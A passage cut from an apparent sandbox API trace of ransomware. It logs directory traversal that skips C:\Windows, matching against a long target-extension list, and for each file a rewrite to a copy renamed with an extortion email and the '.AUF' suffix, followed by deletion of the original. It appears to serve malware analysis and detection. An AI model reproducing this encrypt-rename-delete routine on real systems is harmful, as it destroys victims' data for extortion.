lpNumberOfBytesWritten=0x335fc9c*=0x30180, lpOverlapped=0x0) returned 1 [0225.464] ReadFile (in: hFile=0x16c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.464] WriteFile (in: hFile=0x184, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xea, lpOverlapped=0x0) returned 1 [0225.465] SetEndOfFile (hFile=0x184) returned 1 [0225.465] CloseHandle (hObject=0x184) returned 1 [0225.465] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.465] SetEndOfFile (hFile=0x16c) returned 1 [0225.466] CloseHandle (hObject=0x16c) returned 1 [0225.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.467] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv")) returned 1 [0225.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned 67 [0225.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned 67 [0225.467] lstrlenW (lpString=".doc") returned 4 [0225.467] lstrcmpiW (lpString1=".doc", lpString2=".CNV") returned 1 [0225.467] lstrlenW (lpString=".docx") returned 5 [0225.467] lstrcmpiW (lpString1=".docx", lpString2="2.CNV") returned -1 [0225.467] lstrlenW (lpString=".pdf") returned 4 [0225.467] lstrcmpiW (lpString1=".pdf", lpString2=".CNV") returned 1 [0225.467] lstrlenW (lpString=".xls") returned 4 [0225.467] lstrcmpiW (lpString1=".xls", lpString2=".CNV") returned 1 [0225.467] lstrlenW (lpString=".xlsx") returned 5 [0225.467] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNV") returned -1 [0225.467] lstrlenW (lpString=".ppt") returned 4 [0225.467] lstrcmpiW (lpString1=".ppt", lpString2=".CNV") returned 1 [0225.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned 67 [0225.467] lstrlenW (lpString=".zip") returned 4 [0225.467] lstrcmpiW (lpString1=".zip", lpString2=".CNV") returned 1 [0225.467] lstrlenW (lpString=".rar") returned 4 [0225.467] lstrcmpiW (lpString1=".rar", lpString2=".CNV") returned 1 [0225.467] lstrlenW (lpString=".bz2") returned 4 [0225.467] lstrcmpiW (lpString1=".bz2", lpString2=".CNV") returned -1 [0225.467] lstrlenW (lpString=".7z") returned 3 [0225.467] lstrcmpiW (lpString1=".7z", lpString2="CNV") returned -1 [0225.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned 67 [0225.467] lstrlenW (lpString=".dbf") returned 4 [0225.467] lstrcmpiW (lpString1=".dbf", lpString2=".CNV") returned 1 [0225.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned 67 [0225.467] lstrlenW (lpString=".1cd") returned 4 [0225.467] lstrcmpiW (lpString1=".1cd", lpString2=".CNV") returned -1 [0225.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned 67 [0225.468] lstrlenW (lpString=".jpg") returned 4 [0225.468] lstrcmpiW (lpString1=".jpg", lpString2=".CNV") returned 1 [0225.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned 67 [0225.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned 67 [0225.468] lstrlenW (lpString=".doc") returned 4 [0225.468] lstrcmpiW (lpString1=".doc", lpString2=".CNV") returned 1 [0225.468] lstrlenW (lpString=".docx") returned 5 [0225.468] lstrcmpiW (lpString1=".docx", lpString2="2.CNV") returned -1 [0225.468] lstrlenW (lpString=".pdf") returned 4 [0225.468] lstrcmpiW (lpString1=".pdf", lpString2=".CNV") returned 1 [0225.468] lstrlenW (lpString=".xls") returned 4 [0225.468] lstrcmpiW (lpString1=".xls", lpString2=".CNV") returned 1 [0225.468] lstrlenW (lpString=".xlsx") returned 5 [0225.468] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNV") returned -1 [0225.468] lstrlenW (lpString=".ppt") returned 4 [0225.468] lstrcmpiW (lpString1=".ppt", lpString2=".CNV") returned 1 [0225.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned 67 [0225.468] lstrlenW (lpString=".zip") returned 4 [0225.468] lstrcmpiW (lpString1=".zip", lpString2=".CNV") returned 1 [0225.468] lstrlenW (lpString=".rar") returned 4 [0225.468] lstrcmpiW (lpString1=".rar", lpString2=".CNV") returned 1 [0225.468] lstrlenW (lpString=".bz2") returned 4 [0225.468] lstrcmpiW (lpString1=".bz2", lpString2=".CNV") returned -1 [0225.468] lstrlenW (lpString=".7z") returned 3 [0225.468] lstrcmpiW (lpString1=".7z", lpString2="CNV") returned -1 [0225.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned 67 [0225.468] lstrlenW (lpString=".dbf") returned 4 [0225.468] lstrcmpiW (lpString1=".dbf", lpString2=".CNV") returned 1 [0225.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned 67 [0225.468] lstrlenW (lpString=".1cd") returned 4 [0225.468] lstrcmpiW (lpString1=".1cd", lpString2=".CNV") returned -1 [0225.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned 67 [0225.468] lstrlenW (lpString=".jpg") returned 4 [0225.468] lstrcmpiW (lpString1=".jpg", lpString2=".CNV") returned 1 [0225.468] lstrcmpiW (lpString1=".INF", lpString2=".AUF") returned 1 [0225.468] lstrlenW (lpString="ARCTIC.INF") returned 10 [0225.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0225.469] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=513) returned 1 [0225.469] CloseHandle (hObject=0x16c) returned 1 [0225.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf")) returned 0x20 [0225.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0225.469] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.469] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0225.470] GetLastError () returned 0x0 [0225.470] ReadFile (in: hFile=0x16c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x201, lpOverlapped=0x0) returned 1 [0225.470] WriteFile (in: hFile=0x184, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0x210, lpOverlapped=0x0) returned 1 [0225.471] ReadFile (in: hFile=0x16c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.471] WriteFile (in: hFile=0x184, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0225.471] SetEndOfFile (hFile=0x184) returned 1 [0225.471] CloseHandle (hObject=0x184) returned 1 [0225.471] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.471] SetEndOfFile (hFile=0x16c) returned 1 [0225.472] CloseHandle (hObject=0x16c) returned 1 [0225.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.472] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf")) returned 1 [0225.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0225.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0225.472] lstrlenW (lpString=".doc") returned 4 [0225.472] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0225.472] lstrlenW (lpString=".docx") returned 5 [0225.473] lstrcmpiW (lpString1=".docx", lpString2="C.INF") returned -1 [0225.473] lstrlenW (lpString=".pdf") returned 4 [0225.473] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0225.473] lstrlenW (lpString=".xls") returned 4 [0225.473] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0225.473] lstrlenW (lpString=".xlsx") returned 5 [0225.473] lstrcmpiW (lpString1=".xlsx", lpString2="C.INF") returned -1 [0225.473] lstrlenW (lpString=".ppt") returned 4 [0225.473] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0225.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0225.473] lstrlenW (lpString=".zip") returned 4 [0225.473] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0225.473] lstrlenW (lpString=".rar") returned 4 [0225.473] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0225.473] lstrlenW (lpString=".bz2") returned 4 [0225.473] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0225.473] lstrlenW (lpString=".7z") returned 3 [0225.473] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0225.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0225.473] lstrlenW (lpString=".dbf") returned 4 [0225.473] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0225.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0225.473] lstrlenW (lpString=".1cd") returned 4 [0225.473] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0225.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0225.473] lstrlenW (lpString=".jpg") returned 4 [0225.473] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0225.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0225.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0225.473] lstrlenW (lpString=".doc") returned 4 [0225.473] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0225.473] lstrlenW (lpString=".docx") returned 5 [0225.473] lstrcmpiW (lpString1=".docx", lpString2="C.INF") returned -1 [0225.473] lstrlenW (lpString=".pdf") returned 4 [0225.473] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0225.473] lstrlenW (lpString=".xls") returned 4 [0225.473] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0225.473] lstrlenW (lpString=".xlsx") returned 5 [0225.473] lstrcmpiW (lpString1=".xlsx", lpString2="C.INF") returned -1 [0225.473] lstrlenW (lpString=".ppt") returned 4 [0225.473] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0225.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0225.473] lstrlenW (lpString=".zip") returned 4 [0225.473] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0225.473] lstrlenW (lpString=".rar") returned 4 [0225.473] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0225.474] lstrlenW (lpString=".bz2") returned 4 [0225.474] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0225.474] lstrlenW (lpString=".7z") returned 3 [0225.474] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0225.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0225.474] lstrlenW (lpString=".dbf") returned 4 [0225.474] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0225.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0225.474] lstrlenW (lpString=".1cd") returned 4 [0225.474] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0225.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0225.474] lstrlenW (lpString=".jpg") returned 4 [0225.474] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0225.474] lstrcmpiW (lpString1=".ELM", lpString2=".AUF") returned 1 [0225.474] lstrlenW (lpString="AXIS.ELM") returned 8 [0225.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0225.474] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=100798) returned 1 [0225.474] CloseHandle (hObject=0x16c) returned 1 [0225.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm")) returned 0x20 [0225.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0225.475] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.475] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0225.475] GetLastError () returned 0x0 [0225.475] ReadFile (in: hFile=0x16c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x189be, lpOverlapped=0x0) returned 1 [0225.487] WriteFile (in: hFile=0x184, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x189c0, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0x189c0, lpOverlapped=0x0) returned 1 [0225.488] ReadFile (in: hFile=0x16c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.488] WriteFile (in: hFile=0x184, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0225.488] SetEndOfFile (hFile=0x184) returned 1 [0225.489] CloseHandle (hObject=0x184) returned 1 [0225.489] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.489] SetEndOfFile (hFile=0x16c) returned 1 [0225.490] CloseHandle (hObject=0x16c) returned 1 [0225.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.490] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm")) Thread: id = 19 os_tid = 0x884 [0203.837] lstrlenW (lpString="C:") returned 2 [0203.837] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x349fd00 | out: lpFindFileData=0x349fd00) returned 0x60c050 [0203.838] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0203.838] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0203.838] lstrlenW (lpString="$Recycle.Bin") returned 12 [0203.838] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0203.838] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0203.838] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x349fa84 | out: lpFindFileData=0x349fa84) returned 0x611088 [0203.838] FindNextFileW (in: hFindFile=0x611088, lpFindFileData=0x349fa84 | out: lpFindFileData=0x349fa84) returned 1 [0203.838] FindNextFileW (in: hFindFile=0x611088, lpFindFileData=0x349fa84 | out: lpFindFileData=0x349fa84) returned 1 [0203.838] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0203.838] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0203.838] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0203.838] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0203.839] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0203.839] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 0x6110c8 [0203.839] FindNextFileW (in: hFindFile=0x6110c8, lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 1 [0203.839] FindNextFileW (in: hFindFile=0x6110c8, lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 1 [0203.839] lstrlenW (lpString="desktop.ini") returned 11 [0203.839] lstrlenW (lpString=".1cd") returned 4 [0203.839] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0203.839] lstrlenW (lpString=".3ds") returned 4 [0203.839] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0203.839] lstrlenW (lpString=".3fr") returned 4 [0203.839] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0203.839] lstrlenW (lpString=".3g2") returned 4 [0203.839] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0203.839] lstrlenW (lpString=".3gp") returned 4 [0203.839] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0203.839] lstrlenW (lpString=".7z") returned 3 [0203.839] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0203.839] lstrlenW (lpString=".accda") returned 6 [0203.839] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0203.839] lstrlenW (lpString=".accdb") returned 6 [0203.839] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0203.839] lstrlenW (lpString=".accdc") returned 6 [0203.839] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0203.839] lstrlenW (lpString=".accde") returned 6 [0203.839] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0203.839] lstrlenW (lpString=".accdt") returned 6 [0203.839] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0203.839] lstrlenW (lpString=".accdw") returned 6 [0203.839] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0203.839] lstrlenW (lpString=".adb") returned 4 [0203.839] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0203.839] lstrlenW (lpString=".adp") returned 4 [0203.839] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0203.840] lstrlenW (lpString=".ai") returned 3 [0203.840] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0203.840] lstrlenW (lpString=".ai3") returned 4 [0203.840] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0203.840] lstrlenW (lpString=".ai4") returned 4 [0203.840] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0203.840] lstrlenW (lpString=".ai5") returned 4 [0203.840] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0203.840] lstrlenW (lpString=".ai6") returned 4 [0203.840] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0203.840] lstrlenW (lpString=".ai7") returned 4 [0203.840] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0203.840] lstrlenW (lpString=".ai8") returned 4 [0203.840] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0203.840] lstrlenW (lpString=".anim") returned 5 [0203.840] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0203.840] lstrlenW (lpString=".arw") returned 4 [0203.840] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0203.840] lstrlenW (lpString=".as") returned 3 [0203.840] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0203.840] lstrlenW (lpString=".asa") returned 4 [0203.840] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0203.840] lstrlenW (lpString=".asc") returned 4 [0203.840] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0203.840] lstrlenW (lpString=".ascx") returned 5 [0203.840] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0203.840] lstrlenW (lpString=".asm") returned 4 [0203.840] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0203.840] lstrlenW (lpString=".asmx") returned 5 [0203.840] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0203.840] lstrlenW (lpString=".asp") returned 4 [0203.840] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0203.840] lstrlenW (lpString=".aspx") returned 5 [0203.840] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0203.840] lstrlenW (lpString=".asr") returned 4 [0203.840] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0203.840] lstrlenW (lpString=".asx") returned 4 [0203.840] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0203.840] lstrlenW (lpString=".avi") returned 4 [0203.840] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0203.840] lstrlenW (lpString=".avs") returned 4 [0203.840] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0203.840] lstrlenW (lpString=".backup") returned 7 [0203.840] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0203.840] lstrlenW (lpString=".bak") returned 4 [0203.840] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0203.840] lstrlenW (lpString=".bay") returned 4 [0203.841] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0203.841] lstrlenW (lpString=".bd") returned 3 [0203.841] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0203.841] lstrlenW (lpString=".bin") returned 4 [0203.841] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0203.841] lstrlenW (lpString=".bmp") returned 4 [0203.841] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0203.841] lstrlenW (lpString=".bz2") returned 4 [0203.841] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0203.841] lstrlenW (lpString=".c") returned 2 [0203.841] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0203.841] lstrlenW (lpString=".cdr") returned 4 [0203.841] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0203.841] lstrlenW (lpString=".cer") returned 4 [0203.841] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0203.841] lstrlenW (lpString=".cf") returned 3 [0203.841] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0203.841] lstrlenW (lpString=".cfc") returned 4 [0203.841] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0203.841] lstrlenW (lpString=".cfm") returned 4 [0203.841] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0203.841] lstrlenW (lpString=".cfml") returned 5 [0203.841] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0203.841] lstrlenW (lpString=".cfu") returned 4 [0203.841] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0203.841] lstrlenW (lpString=".chm") returned 4 [0203.841] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0203.841] 